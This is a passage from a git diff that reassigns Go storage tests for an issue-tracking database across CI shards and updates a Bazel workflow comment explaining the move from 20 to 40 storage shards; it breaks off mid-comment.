TestGraphWalkPlansHonorJoinHints -20 14 TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest -20 14 TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed -20 14 TestEmbeddedDepRekeyMergesFreshDuplicateEdges -20 14 TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes -20 14 TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes -20 14 TestEmbeddedDependencyEditorRefusesAGhostSource -20 14 TestEmbeddedDependencyEditorRefusesCrossPlaneCycle -20 14 TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked -20 14 TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants -20 14 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse -20 14 TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane -20 14 TestEmbeddedGetMergeBlockersOnAQuietStore -20 14 TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones -20 14 TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict -20 14 TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse -20 14 TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree -20 14 TestGetLabels -20 14 TestPristineEmbeddedDoltFixtureRelocatesPrefixes -20 14 TestSchemaAfterInit -20 14 TestWithPeerAuth_RestoresAbsentEnv +40 14 TestBatchCreatorContract +40 14 TestBlockingAnnotatorContract +40 14 TestCountsIncludeWispDependencies +40 14 TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults +40 14 TestEmbeddedOpenForRemoteSync_DataBehind +40 14 TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage +40 14 TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType +40 14 TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState +40 14 TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest +40 14 TestHistory_NullTextColumns -20 15 TestBuildDSN_NoDatabase -20 15 TestCleanGitRemoteCacheGarbage -20 15 TestCommenterContract -20 15 TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra -20 15 TestCreateBatchFastPathsMatchPerRowLarge_Embedded -20 15 TestDoltCommitResponseLossIsIndeterminate -20 15 TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing -20 15 TestEmbeddedBatchCloserItemsAnswerToTheCloseGuards -20 15 TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest -20 15 TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop -20 15 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy -20 15 TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane -20 15 TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies -20 15 TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel -20 15 TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext -20 15 TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites -20 15 TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet -20 15 TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType -20 15 TestEmbeddedRenameKeepsDependencyIDsDeterministic -20 15 TestEventsJournalReadRefusesAnInteriorHole -20 15 TestEventsJournal_EmbeddedConcurrentGaplessNoDup -20 15 TestExpectedRevisionContract -20 15 TestLargeBatchApplyStatementCounts356_Embedded -20 15 TestLargeGraphCreateTiming_Embedded -20 15 TestLeaseReclaimerContract -20 15 TestReadyWorkPageTotalFilterMatrix -20 15 TestReclaimExpiredLeaseSurvivesRestartEmbedded -20 15 TestRemoteEntryPointsUseVersionControlOps -20 15 TestTransactionCleanupBeforeSQLCommitRemainsDefinite -20 15 TestUpdateIssueType +40 15 TestCreateIssuesRejectStaleUpserts +40 15 TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch +40 15 TestEmbeddedGetMergeBlockersOnAQuietStore +40 15 TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables +40 15 TestEmbeddedIssueOperationsRequestValuesAreNotMutated +40 15 TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse +40 15 TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary +40 15 TestGetIssue +40 15 TestLegacyTrackedIgnoredCursorHealsOnOpen +40 15 TestReadyWorkPageTotalFilterMatrix -20 16 TestCreateIssues -20 16 TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch -20 16 TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne -20 16 TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded -20 16 TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure -20 16 TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction -20 16 TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates -20 16 TestEmbeddedMergeAndSettleRefusesUnknownTable -20 16 TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation -20 16 TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes -20 16 TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions -20 16 TestEmbeddedTempRebuildIntermediatesNeverReachHistory -20 16 TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded -20 16 TestEventsJournal_ActorMatrixOnEmbedded -20 16 TestIgnoredCursorHealRespectsOperatorOverride -20 16 TestMergeWithStrategy_TheirsResolvesAndCommits -20 16 TestOpenDifferentDirsReturnsDifferentStores -20 16 TestRemoteVerbPlainRemoteWithoutAuthPresentsNone -20 16 TestUnknownProvenanceLeaseStaysReclaimable +40 16 TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles +40 16 TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder +40 16 TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge +40 16 TestEmbeddedReaderDoesNotMutateTheCallerRequest +40 16 TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress +40 16 TestEmbeddedRenameKeepsDependencyIDsDeterministic +40 16 TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree +40 16 TestGetReadyWorkIncludeEphemeralAppliesWispFilters +40 16 TestMergeWithStrategy_OursKeepsLocal +40 16 TestWithPeerAuth_DivergedRemoteURLFailsClosed -20 17 TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase -20 17 TestBuildDSN_WithDatabase -20 17 TestCleanGitRemoteCacheGarbage_Throttled -20 17 TestDepRekeyMarkerStillInIgnoredSeries -20 17 TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty -20 17 TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess -20 17 TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit -20 17 TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting -20 17 TestEmbeddedDepRekeyConvergesRenameChain -20 17 TestEmbeddedDependencyEditorAcceptsAnExternalTarget -20 17 TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb -20 17 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy -20 17 TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore -20 17 TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables -20 17 TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain -20 17 TestEmbeddedReaderGetOptionalRowListsAreOffByDefault -20 17 TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse -20 17 TestEmbeddedReaderReadySortPoliciesOrderTheSameRows -20 17 TestEmbeddedRelationsAnswersInThePinnedOrder -20 17 TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges -20 17 TestEpochContract -20 17 TestHelperProcess -20 17 TestLegacyTrackedIgnoredCursorUnwedgesPull -20 17 TestLenientGateWarning_ComposedOutput -20 17 TestReadyWorkPageTotal -20 17 TestSweeperContract -20 17 TestTransactionCleanupAfterSQLCommitIsIndeterminate -20 17 TestWithPeerAuth_RestoresEnvWhenCallbackFails +40 17 TestAddDependency +40 17 TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim +40 17 TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion +40 17 TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps +40 17 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender +40 17 TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary +40 17 TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne +40 17 TestHeartbeatMatchesActorAcrossSpellingEmbedded +40 17 TestStatsReporterContract +40 17 TestVersionReconcilerContract -20 18 TestBatchCreatorContract -20 18 TestBlockingAnnotatorContract -20 18 TestCountsIncludeWispDependencies -20 18 TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp -20 18 TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges -20 18 TestEmbeddedBlockedRecheckFailureKeepsTheWrite -20 18 TestEmbeddedCheckedWrappersRouteTheirPreconditions -20 18 TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe -20 18 TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID -20 18 TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim -20 18 TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary -20 18 TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690 -20 18 TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566 -20 18 TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState -20 18 TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin -20 18 TestLargeBatchApplyWallClock_Embedded -20 18 TestMerge_NoStrategyStillErrorsWithEscapeHatchHint -20 18 TestRenameLabel -20 18 TestVersionReconcilerContract +40 18 TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess +40 18 TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes +40 18 TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes +40 18 TestEmbeddedMergeAndSettleMemoryConfigConflict +40 18 TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder +40 18 TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn +40 18 TestMetadataCASContract +40 18 TestOpenDifferentDirsReturnsDifferentStores +40 18 TestPromoteClearsNoHistory +40 18 TestRemoteVerbPlainRemoteWithoutAuthPresentsNone -20 19 TestBatchGetterContract -20 19 TestBootstrapperContract -20 19 TestCreateIssue -20 19 TestCreateRejectsCrossTableIDCollision -20 19 TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim -20 19 TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge -20 19 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers -20 19 TestEmbeddedMergeAndSettleMemoryConfigConflict -20 19 TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566 -20 19 TestEmbeddedOpenForReadOnlyCommand_LenientGate -20 19 TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest -20 19 TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven -20 19 TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet -20 19 TestEmbeddedSyncCommitsConfigBeforeMerge -20 19 TestGetIssue -20 19 TestGetReadyWorkMoleculeFilter -20 19 TestLargeBatchApplyStatementCounts712_Embedded -20 19 TestReopenIssue -20 19 TestWithPeerAuth_DivergedRemoteURLFailsClosed -20 19 TestWithPeerAuth_KeyMismatchFailsClosed +40 19 TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge +40 19 TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel +40 19 TestEmbeddedMigration0062FlipsEventsToIgnoredPlane +40 19 TestEmbeddedReaderListMaxRowsIsHonored +40 19 TestEmbeddedRelationsAnswersInThePinnedOrder +40 19 TestIgnoredCursorHealConvergesFromEveryCrashState +40 19 TestOpenAfterCloseCreatesNewStore +40 19 TestOpenReturnsCachedStore +40 19 TestRemoteVerbsPresentStoredPeerCredentials +40 19 TestRenameLabelMintsOneVersionPerTouchedBead -20 20 TestCounterContract -20 20 TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow -20 20 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped -20 20 TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion -20 20 TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults -20 20 TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix -20 20 TestEmbeddedMergeAndSettleFKCascadeRepair -20 20 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 -20 20 TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke -20 20 TestEmbeddedOpenForRemoteSync_DataBehind -20 20 TestEmbeddedOpenReadOnly_SkipsGateAndMigrations -20 20 TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay -20 20 TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits -20 20 TestEmbeddedRemoteMigrateGate_BlocksReopen -20 20 TestEventsAutoPruneThrottleSkipsTheSecondPass -20 20 TestIgnoredCursorHealIsIdempotent -20 20 TestLargeBatchApplyStatementCountsClassic40_Embedded -20 20 TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict -20 20 TestMergeWithStrategy_OursKeepsLocal -20 20 TestPruneEventsBatchDeletesTheLowestSeqsOnly +40 20 TestCreateIssue +40 20 TestEmbeddedCheckedWrappersRouteTheirPreconditions +40 20 TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps +40 20 TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566 +40 20 TestEmbeddedOpenReadOnly_SkipsGateAndMigrations +40 20 TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits +40 20 TestEventsJournalRestartAndRetentionBoundary +40 20 TestForeignSkipDetailIsBounded +40 20 TestHeartbeatRejectsWispEmbedded +40 20 TestIgnoredCursorHealNeverResurrectsRolledBackVersions + +40 21 TestCreateRejectsCrossTableIDCollision +40 21 TestEmbeddedBatchCloserItemsAnswerToTheCloseGuards +40 21 TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants +40 21 TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure +40 21 TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain +40 21 TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer +40 21 TestEmbeddedRemoteMigrateGate_BlocksReopen +40 21 TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit +40 21 TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit +40 21 TestLargeBatchApplyWallClock_Embedded + +40 22 TestEdgeReaderContract +40 22 TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded +40 22 TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies +40 22 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped +40 22 TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet +40 22 TestEmbeddedReaderReadyLimitBoundary +40 22 TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded +40 22 TestEventsJournalPruneNeverSplitsASkewedPair +40 22 TestLargeBatchApplyStatementCounts356_Embedded +40 22 TestLeaseLifecycleEmbedded + +40 23 TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes +40 23 TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed +40 23 TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes +40 23 TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest +40 23 TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566 +40 23 TestEmbeddedReaderListEmptyPageIsWellFormed +40 23 TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven +40 23 TestEmbeddedRoleFixtureKitHooksAreUsable +40 23 TestEventsAutoPruneBoundsTheJournalToTheFloors +40 23 TestJournalContract + +40 24 TestBootstrapperContract +40 24 TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex +40 24 TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting +40 24 TestEmbeddedConfigCommitStagesConfig +40 24 TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape +40 24 TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction +40 24 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 +40 24 TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt +40 24 TestIgnoredCursorHealResumeRespectsOperatorOverride +40 24 TestLargeBatchApplyStatementCountsClassic40_Embedded +40 24 TestReopenIssue + +40 25 TestBatchGetterContract +40 25 TestDualWriteFixtureKitIsWired +40 25 TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed +40 25 TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses +40 25 TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet +40 25 TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor +40 25 TestGetDependentRecordsForIssuesEmbedded +40 25 TestIgnoredCursorHealIsIdempotent +40 25 TestIsBlockedBatchEmbedded +40 25 TestReadyWorkPageTotal +40 25 TestWithPeerAuth_RestoresAbsentEnv + +40 26 TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp +40 26 TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints +40 26 TestEmbeddedOpenForReadOnlyCommand_LenientGate +40 26 TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters +40 26 TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants +40 26 TestEmbeddedReadyClaimerSkipsIneligibleFrontRows +40 26 TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped +40 26 TestEmbeddedRelationsRefusesTheZeroDirection +40 26 TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore +40 26 TestReclaimAnyReplicaOverride +40 26 TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials + +40 27 TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp +40 27 TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing +40 27 TestEmbeddedDependencyEditorAcceptsADiamond +40 27 TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb +40 27 TestEmbeddedMigration0058HealsAlreadyAffectedDatabase +40 27 TestEmbeddedReaderGetOptionalRowListsAreOffByDefault +40 27 TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength +40 27 TestEventsJournalReadRefusesAnInteriorHole +40 27 TestPartitionWispIDs +40 27 TestRemoteGitDataRefOnEngine +40 27 TestSweeperContract + +40 28 TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy +40 28 TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed +40 28 TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow +40 28 TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting +40 28 TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder +40 28 TestEmbeddedIssueOperationsUpdateLabelPatchValueRules +40 28 TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary +40 28 TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet +40 28 TestRenameLabel +40 28 TestUpdateIssueType +40 28 TestWithPeerAuth_RestoresEnvWhenCallbackFails + +40 29 TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure +40 29 TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty +40 29 TestEmbeddedDepRekeyMergesFreshDuplicateEdges +40 29 TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest +40 29 TestEmbeddedMergeAndSettleMetadataConflict +40 29 TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides +40 29 TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions +40 29 TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges +40 29 TestEventsJournalAccessor +40 29 TestLeaseReclaimerContract +40 29 TestLifecycleCreateContract + +40 30 TestCounterContract +40 30 TestCycleDetectorContract +40 30 TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds +40 30 TestEmbeddedCommitToleratesNothingToCommit +40 30 TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion +40 30 TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState +40 30 TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress +40 30 TestEmbeddedReaderReadySortPoliciesOrderTheSameRows +40 30 TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges +40 30 TestLegacyTrackedIgnoredCursorUnwedgesPull +40 30 TestUpdateMergeOps_DoltEngine_TwoIssues + +40 31 TestDualWriteContract +40 31 TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget +40 31 TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes +40 31 TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn +40 31 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers +40 31 TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing +40 31 TestEmbeddedTransactionWispLifecyclePersistsDurableDependent +40 31 TestEventsSinceEmbedded +40 31 TestGetLabels +40 31 TestReadyCounterContract +40 31 TestWithPeerAuth_KeyMismatchFailsClosed + +40 32 TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone +40 32 TestEmbeddedDependencyEditorRefusesAMissingLocalTarget +40 32 TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers +40 32 TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones +40 32 TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables +40 32 TestEmbeddedReadyClaimerEmptyFrontIsNormal +40 32 TestEmbeddedRecomputeAllBlockedWiring +40 32 TestEventsJournal_EmbeddedConcurrentGaplessNoDup +40 32 TestGetNextChildID +40 32 TestRemoteVerbPlainRemoteKeepsAmbientEnv +40 32 TestWithPeerAuth_MissingRemoteFailsClosed + +40 33 TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex +40 33 TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate +40 33 TestEmbeddedDependencyEditorValidationRefusalsWriteNothing +40 33 TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace +40 33 TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke +40 33 TestEmbeddedRelationsResolvesTheAnchorIDExactly +40 33 TestEmbeddedSyncCommitsConfigBeforeMerge +40 33 TestEventsAutoPruneThrottleSkipsTheSecondPass +40 33 TestGetDependentRecordsEmbedded +40 33 TestPruneEventsBatchDeletesTheLowestSeqsOnly +40 33 TestTreeWalkerContract + +40 34 TestAddLabel +40 34 TestDecryptPassword_KeyMismatchNamesTheLocalKey +40 34 TestEmbeddedBlockedRecheckRecordsUnblockingWrites +40 34 TestEmbeddedDependencyEditorAttributesItsEventsToTheActor +40 34 TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp +40 34 TestEmbeddedIssueOperationsCreateAggregatesRelations +40 34 TestEmbeddedReaderReadyDeferredAndEphemeralGates +40 34 TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded +40 34 TestMergeWithStrategy_TheirsResolvesAndCommits +40 34 TestQuerierContract +40 34 TestReadyWorkStatementBudget + +40 35 TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing +40 35 TestEmbeddedClaimIssueWrapperClaimsTheWispPlane +40 35 TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType +40 35 TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle +40 35 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse +40 35 TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged +40 35 TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField +40 35 TestMerge_NoStrategyStillErrorsWithEscapeHatchHint +40 35 TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery +40 35 TestReadyWorkWithMissingDeferredParentTables +40 35 TestReclaimExpiredLeaseSurvivesRestartEmbedded + +40 36 TestCommenterContract +40 36 TestConcurrentOpenReturnsCached +40 36 TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory +40 36 TestEmbeddedDependencyEditorRefusalWritesNothing +40 36 TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe +40 36 TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext +40 36 TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry +40 36 TestEmbeddedRelationsRefusesAnUnusableTypeFilter +40 36 TestGetReadyWorkMoleculeFilter +40 36 TestReleaserContract +40 36 TestSchemaAfterInit + +40 37 TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch +40 37 TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape +40 37 TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest +40 37 TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop +40 37 TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants +40 37 TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies +40 37 TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance +40 37 TestEmbeddedMergeAndSettleReportsOperatorConflicts +40 37 TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse +40 37 TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch +40 37 TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern + +40 38 TestCreateIssues +40 38 TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt +40 38 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy +40 38 TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose +40 38 TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel +40 38 TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue +40 38 TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge +40 38 TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing +40 38 TestEmbeddedTempRebuildIntermediatesNeverReachHistory +40 38 TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff +40 38 TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials + +40 39 TestDualWriteContractFlagOff +40 39 TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit +40 39 TestEmbeddedBlockedRecheckFailureKeepsTheWrite +40 39 TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes +40 39 TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone +40 39 TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690 +40 39 TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse +40 39 TestEmbeddedRelationsResolvesAWispAnchor +40 39 TestPreviewStoreRefusesLocalMetadataWrite +40 39 TestReclaimRefusesForeignReplicaLease +40 39 TestWorkspaceConfigContract + +40 40 TestCountsWithMissingWispPlaneTables +40 40 TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest +40 40 TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded +40 40 TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge +40 40 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy +40 40 TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane +40 40 TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion +40 40 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers +40 40 TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal +40 40 TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue +40 40 TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 9e24e688b..632b264d0 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1293,11 +1293,12 @@ jobs: # proves nothing pr-risk.yml's embedded jobs (which do run for forks) do # not. # - # Shard counts: storage (20) is the smallest count whose LPT-packed - # heaviest shard (scripts/ci/gen_embedded_storage_shard_manifest.py - # --weights=duration --repack, on rbe-west measurements) stays near 110s, - # under the ~150s per-shard budget with headroom for executor load; its - # heaviest single top-level test is ~90s. cmd is a 100-shard block split + # Shard counts: storage (40): its tests are serial, so a shard's wall + # time is the sum of its tests, and CI shards run ~1.3-1.6x the rbe-west + # measurements; 40 is where the LPT-packed heaviest shard + # (scripts/ci/gen_embedded_storage_shard_manifest.py --weights=duration + # --repack) is its heaviest single top-level 